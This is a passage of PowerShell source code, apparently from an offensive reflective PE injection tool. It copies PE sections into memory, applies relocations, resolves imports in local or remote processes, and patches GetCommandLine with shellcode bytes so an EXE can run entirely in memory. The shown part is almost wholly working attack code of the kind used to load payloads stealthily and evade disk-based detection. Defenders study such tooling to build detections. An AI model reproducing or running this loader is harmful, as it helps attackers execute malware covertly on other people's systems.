  1352.             $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
  1353.             if (($Result -eq $false) -or ($NumBytesWritten -eq 0))
  1354.             {
  1355.                 Throw "Call to ReadProcessMemory failed"
  1356.             }
  1357.             [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
  1358.            
  1359.             $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1360.             $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1361.             $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1362.            
  1363.             return $ProcAddress
  1364.         }
  1365.        
  1366.        
  1367.         Function Copy-Sections
  1368.         {
  1369.             Param (
  1370.                 [Parameter(Position = 0, Mandatory = $true)]
  1371.                 [Byte[]]$PEBytes,
  1372.                 [Parameter(Position = 1, Mandatory = $true)]
  1373.                 [System.Object]$PEInfo,
  1374.                 [Parameter(Position = 2, Mandatory = $true)]
  1375.                 [System.Object]$Win32Functions,
  1376.                 [Parameter(Position = 3, Mandatory = $true)]
  1377.                 [System.Object]$Win32Types
  1378.             )
  1379.            
  1380.             for ($i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
  1381.             {
  1382.                 [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
  1383.                 $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
  1384.                
  1385.                 #Address to copy the section to
  1386.                 [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress))
  1387.                
  1388.                 #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated
  1389.                 #    in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If
  1390.                 #    SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away,
  1391.                 #    so truncate SizeOfRawData to VirtualSize
  1392.                 $SizeOfRawData = $SectionHeader.SizeOfRawData
  1393.                
  1394.                 if ($SectionHeader.PointerToRawData -eq 0)
  1395.                 {
  1396.                     $SizeOfRawData = 0
  1397.                 }
  1398.                
  1399.                 if ($SizeOfRawData -gt $SectionHeader.VirtualSize)
  1400.                 {
  1401.                     $SizeOfRawData = $SectionHeader.VirtualSize
  1402.                 }
  1403.                
  1404.                 if ($SizeOfRawData -gt 0)
  1405.                 {
  1406.                     Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null
  1407.                     [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData)
  1408.                 }
  1409.                
  1410.                 #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space
  1411.                 if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize)
  1412.                 {
  1413.                     $Difference = $SectionHeader.VirtualSize - $SizeOfRawData
  1414.                     [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData))
  1415.                     Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null
  1416.                     $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null
  1417.                 }
  1418.             }
  1419.         }
  1420.        
  1421.        
  1422.         Function Update-MemoryAddresses
  1423.         {
  1424.             Param (
  1425.                 [Parameter(Position = 0, Mandatory = $true)]
  1426.                 [System.Object]$PEInfo,
  1427.                 [Parameter(Position = 1, Mandatory = $true)]
  1428.                 [Int64]$OriginalImageBase,
  1429.                 [Parameter(Position = 2, Mandatory = $true)]
  1430.                 [System.Object]$Win32Constants,
  1431.                 [Parameter(Position = 3, Mandatory = $true)]
  1432.                 [System.Object]$Win32Types
  1433.             )
  1434.            
  1435.             [Int64]$BaseDifference = 0
  1436.             $AddDifference = $true #Track if the difference variable should be added or subtracted from variables
  1437.             [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION)
  1438.            
  1439.             #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do
  1440.             if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) `
  1441.                 -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0))
  1442.             {
  1443.                 return
  1444.             }
  1445.            
  1446.            
  1447.             elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true)
  1448.             {
  1449.                 $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle)
  1450.                 $AddDifference = $false
  1451.             }
  1452.             elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true)
  1453.             {
  1454.                 $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase)
  1455.             }
  1456.            
  1457.             #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified
  1458.             [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress))
  1459.             while ($true)
  1460.             {
  1461.                 #If SizeOfBlock == 0, we are done
  1462.                 $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION)
  1463.                
  1464.                 if ($BaseRelocationTable.SizeOfBlock -eq 0)
  1465.                 {
  1466.                     break
  1467.                 }
  1468.                
  1469.                 [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress))
  1470.                 $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2
  1471.                
  1472.                 #Loop through each relocation
  1473.                 for ($i = 0; $i -lt $NumRelocations; $i++)
  1474.                 {
  1475.                     #Get info for this relocation
  1476.                     $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i)))
  1477.                     [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16])
  1478.                    
  1479.                     #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase
  1480.                     [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF
  1481.                     [UInt16]$RelocType = $RelocationInfo -band 0xF000
  1482.                     for ($j = 0; $j -lt 12; $j++)
  1483.                     {
  1484.                         $RelocType = [Math]::Floor($RelocType / 2)
  1485.                     }
  1486.                    
  1487.                     #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit.
  1488.                     #This appears to be true for EXE's as well.
  1489.                     #   Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx
  1490.                     if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) `
  1491.                         -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64))
  1492.                     {
  1493.                         #Get the current memory address and update it based off the difference between PE expected base address and actual base address
  1494.                         [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset))
  1495.                         [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr])
  1496.                        
  1497.                         if ($AddDifference -eq $true)
  1498.                         {
  1499.                             [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
  1500.                         }
  1501.                         else
  1502.                         {
  1503.                             [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
  1504.                         }
  1505.                        
  1506.                         [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null
  1507.                     }
  1508.                     elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE)
  1509.                     {
  1510.                         #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it
  1511.                         Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo"
  1512.                     }
  1513.                 }
  1514.                
  1515.                 $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock))
  1516.             }
  1517.         }
  1518.        
  1519.        
  1520.         Function Import-DllImports
  1521.         {
  1522.             Param (
  1523.                 [Parameter(Position = 0, Mandatory = $true)]
  1524.                 [System.Object]$PEInfo,
  1525.                 [Parameter(Position = 1, Mandatory = $true)]
  1526.                 [System.Object]$Win32Functions,
  1527.                 [Parameter(Position = 2, Mandatory = $true)]
  1528.                 [System.Object]$Win32Types,
  1529.                 [Parameter(Position = 3, Mandatory = $true)]
  1530.                 [System.Object]$Win32Constants,
  1531.                 [Parameter(Position = 4, Mandatory = $false)]
  1532.                 [IntPtr]$RemoteProcHandle
  1533.             )
  1534.            
  1535.             $RemoteLoading = $false
  1536.             if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle)
  1537.             {
  1538.                 $RemoteLoading = $true
  1539.             }
  1540.            
  1541.             if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
  1542.             {
  1543.                 [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
  1544.                
  1545.                 while ($true)
  1546.                 {
  1547.                     $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
  1548.                    
  1549.                     #If the structure is null, it signals that this is the end of the array
  1550.                     if ($ImportDescriptor.Characteristics -eq 0 `
  1551.                         -and $ImportDescriptor.FirstThunk -eq 0 `
  1552.                         -and $ImportDescriptor.ForwarderChain -eq 0 `
  1553.                         -and $ImportDescriptor.Name -eq 0 `
  1554.                         -and $ImportDescriptor.TimeDateStamp -eq 0)
  1555.                     {
  1556.                         Write-Verbose "Done importing DLL imports"
  1557.                         break
  1558.                     }
  1559.                    
  1560.                     $ImportDllHandle = [IntPtr]::Zero
  1561.                     $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))
  1562.                     $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
  1563.                    
  1564.                     if ($RemoteLoading -eq $true)
  1565.                     {
  1566.                         $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr
  1567.                     }
  1568.                     else
  1569.                     {
  1570.                         $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath)
  1571.                     }
  1572.                    
  1573.                     if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero))
  1574.                     {
  1575.                         throw "Error importing DLL, DLLName: $ImportDllPath"
  1576.                     }
  1577.                    
  1578.                     #Get the first thunk, then loop through all of them
  1579.                     [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk)
  1580.                     [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk
  1581.                     [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
  1582.                    
  1583.                     while ($OriginalThunkRefVal -ne [IntPtr]::Zero)
  1584.                     {
  1585.                         $ProcedureName = ''
  1586.                         #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit
  1587.                         #   If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint
  1588.                         #   and doing the comparison, just see if it is less than 0
  1589.                         [IntPtr]$NewThunkRef = [IntPtr]::Zero
  1590.                         if ([Int64]$OriginalThunkRefVal -lt 0)
  1591.                         {
  1592.                             $ProcedureName = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal
  1593.                         }
  1594.                         else
  1595.                         {
  1596.                             [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal)
  1597.                             $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))
  1598.                             $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr)
  1599.                         }
  1600.                        
  1601.                         if ($RemoteLoading -eq $true)
  1602.                         {
  1603.                             [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionName $ProcedureName
  1604.                         }
  1605.                         else
  1606.                         {
  1607.                             if ($ProcedureName -is [string])
  1608.                             {
  1609.                                 [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName)
  1610.                             }
  1611.                             else
  1612.                             {
  1613.                                 [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressOrdinal.Invoke($ImportDllHandle, $ProcedureName)
  1614.                             }
  1615.                         }
  1616.                        
  1617.                         if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero)
  1618.                         {
  1619.                             Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath"
  1620.                         }
  1621.                        
  1622.                         [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false)
  1623.                        
  1624.                         $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
  1625.                         [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
  1626.                         [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
  1627.                     }
  1628.                    
  1629.                     $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
  1630.                 }
  1631.             }
  1632.         }
  1633.        
  1634.         Function Get-VirtualProtectValue
  1635.         {
  1636.             Param (
  1637.                 [Parameter(Position = 0, Mandatory = $true)]
  1638.                 [UInt32]$SectionCharacteristics
  1639.             )
  1640.            
  1641.             $ProtectionFlag = 0x0
  1642.             if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0)
  1643.             {
  1644.                 if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
  1645.                 {
  1646.                     if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
  1647.                     {
  1648.                         $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE
  1649.                     }
  1650.                     else
  1651.                     {
  1652.                         $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ
  1653.                     }
  1654.                 }
  1655.                 else
  1656.                 {
  1657.                     if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
  1658.                     {
  1659.                         $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY
  1660.                     }
  1661.                     else
  1662.                     {
  1663.                         $ProtectionFlag = $Win32Constants.PAGE_EXECUTE
  1664.                     }
  1665.                 }
  1666.             }
  1667.             else
  1668.             {
  1669.                 if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
  1670.                 {
  1671.                     if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
  1672.                     {
  1673.                         $ProtectionFlag = $Win32Constants.PAGE_READWRITE
  1674.                     }
  1675.                     else
  1676.                     {
  1677.                         $ProtectionFlag = $Win32Constants.PAGE_READONLY
  1678.                     }
  1679.                 }
  1680.                 else
  1681.                 {
  1682.                     if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
  1683.                     {
  1684.                         $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY
  1685.                     }
  1686.                     else
  1687.                     {
  1688.                         $ProtectionFlag = $Win32Constants.PAGE_NOACCESS
  1689.                     }
  1690.                 }
  1691.             }
  1692.            
  1693.             if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0)
  1694.             {
  1695.                 $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE
  1696.             }
  1697.            
  1698.             return $ProtectionFlag
  1699.         }
  1700.        
  1701.         Function Update-MemoryProtectionFlags
  1702.         {
  1703.             Param (
  1704.                 [Parameter(Position = 0, Mandatory = $true)]
  1705.                 [System.Object]$PEInfo,
  1706.                 [Parameter(Position = 1, Mandatory = $true)]
  1707.                 [System.Object]$Win32Functions,
  1708.                 [Parameter(Position = 2, Mandatory = $true)]
  1709.                 [System.Object]$Win32Constants,
  1710.                 [Parameter(Position = 3, Mandatory = $true)]
  1711.                 [System.Object]$Win32Types
  1712.             )
  1713.            
  1714.             for ($i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
  1715.             {
  1716.                 [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
  1717.                 $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
  1718.                 [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress)
  1719.                
  1720.                 [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics
  1721.                 [UInt32]$SectionSize = $SectionHeader.VirtualSize
  1722.                
  1723.                 [UInt32]$OldProtectFlag = 0
  1724.                 Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null
  1725.                 $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag)
  1726.                 if ($Success -eq $false)
  1727.                 {
  1728.                     Throw "Unable to change memory protection"
  1729.                 }
  1730.             }
  1731.         }
  1732.        
  1733.         #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE
  1734.         #Returns an object with addresses to copies of the bytes that were overwritten (and the count)
  1735.         Function Update-ExeFunctions
  1736.         {
  1737.             Param (
  1738.                 [Parameter(Position = 0, Mandatory = $true)]
  1739.                 [System.Object]$PEInfo,
  1740.                 [Parameter(Position = 1, Mandatory = $true)]
  1741.                 [System.Object]$Win32Functions,
  1742.                 [Parameter(Position = 2, Mandatory = $true)]
  1743.                 [System.Object]$Win32Constants,
  1744.                 [Parameter(Position = 3, Mandatory = $true)]
  1745.                 [String]$ExeArguments,
  1746.                 [Parameter(Position = 4, Mandatory = $true)]
  1747.                 [IntPtr]$ExeDoneBytePtr
  1748.             )
  1749.            
  1750.             #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state.
  1751.             $ReturnArray = @()
  1752.            
  1753.             $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
  1754.             [UInt32]$OldProtectFlag = 0
  1755.            
  1756.             [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll")
  1757.             if ($Kernel32Handle -eq [IntPtr]::Zero)
  1758.             {
  1759.                 throw "Kernel32 handle null"
  1760.             }
  1761.            
  1762.             [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll")
  1763.             if ($KernelBaseHandle -eq [IntPtr]::Zero)
  1764.             {
  1765.                 throw "KernelBase handle null"
  1766.             }
  1767.            
  1768.             #################################################
  1769.             #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it.
  1770.             #   We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want.
  1771.             $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
  1772.             $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
  1773.            
  1774.             [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA")
  1775.             [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW")
  1776.            
  1777.             if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero)
  1778.             {
  1779.                 throw "GetCommandLine ptr null. GetCommandLineA: $GetCommandLineAAddr. GetCommandLineW: $GetCommandLineWAddr"
  1780.             }
  1781.            
  1782.             #Prepare the shellcode
  1783.             [Byte[]]$Shellcode1 = @()
  1784.             if ($PtrSize -eq 8)
  1785.             {
  1786.                 $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8
  1787.             }
  1788.             $Shellcode1 += 0xb8
  1789.            
  1790.             [Byte[]]$Shellcode2 = @(0xc3)
  1791.             $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length
  1792.            
  1793.            
  1794.             #Make copy of GetCommandLineA and GetCommandLineW
  1795.             $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
  1796.             $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
  1797.             $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null
  1798.             $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null
  1799.             $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize)
  1800.             $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize)
  1801.            
  1802.             #Overwrite GetCommandLineA
  1803.             [UInt32]$OldProtectFlag = 0
  1804.             $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
  1805.             if ($Success = $false)
  1806.             {
  1807.                 throw "Call to VirtualProtect failed"
  1808.             }
  1809.            
  1810.             $GetCommandLineAAddrTemp = $GetCommandLineAAddr
  1811.             Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp
  1812.             $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length)
  1813.             [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false)
  1814.             $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize
  1815.             Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp
  1816.            
  1817.             $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
  1818.            
  1819.            
  1820.             #Overwrite GetCommandLineW
  1821.             [UInt32]$OldProtectFlag = 0
  1822.             $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
  1823.             if ($Success = $false)
  1824.             {
  1825.                 throw "Call to VirtualProtect failed"
  1826.             }
  1827.            
  1828.             $GetCommandLineWAddrTemp = $GetCommandLineWAddr
  1829.             Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp
  1830.             $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length)
  1831.             [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false)
  1832.             $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize
  1833.             Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp
  1834.            
  1835.             $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
  1836.             #################################################
  1837.            
  1838.            
  1839.             #################################################
  1840.             #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work.
  1841.             #   I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln.
  1842.             #   It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the
  1843.             #   argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported.
  1844.             $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" `
  1845. , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll")
  1846.            
  1847.             foreach ($Dll in $DllList)
  1848.             {
  1849.                 [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll)
  1850.                 if ($DllHandle -ne [IntPtr]::Zero)
  1851.                 {
  1852.                     [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln")
  1853.                     [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln")
  1854.                     if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero)
  1855.                     {
  1856.                         "Error, couldn't find _wcmdln or _acmdln"
  1857.                     }
  1858.                    
  1859.                     $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
  1860.                     $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
  1861.                    
  1862.                     #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state
  1863.                     $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr])
  1864.                     $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr])
  1865.                     $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
  1866.                     $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
  1867.                     [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false)
  1868.                     [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false)
  1869.                     $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize)
  1870.                     $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize)
  1871.                    
  1872.                     $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
  1873.                     if ($Success = $false)
  1874.                     {
  1875.                         throw "Call to VirtualProtect failed"
  1876.                     }
  1877.                     [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false)
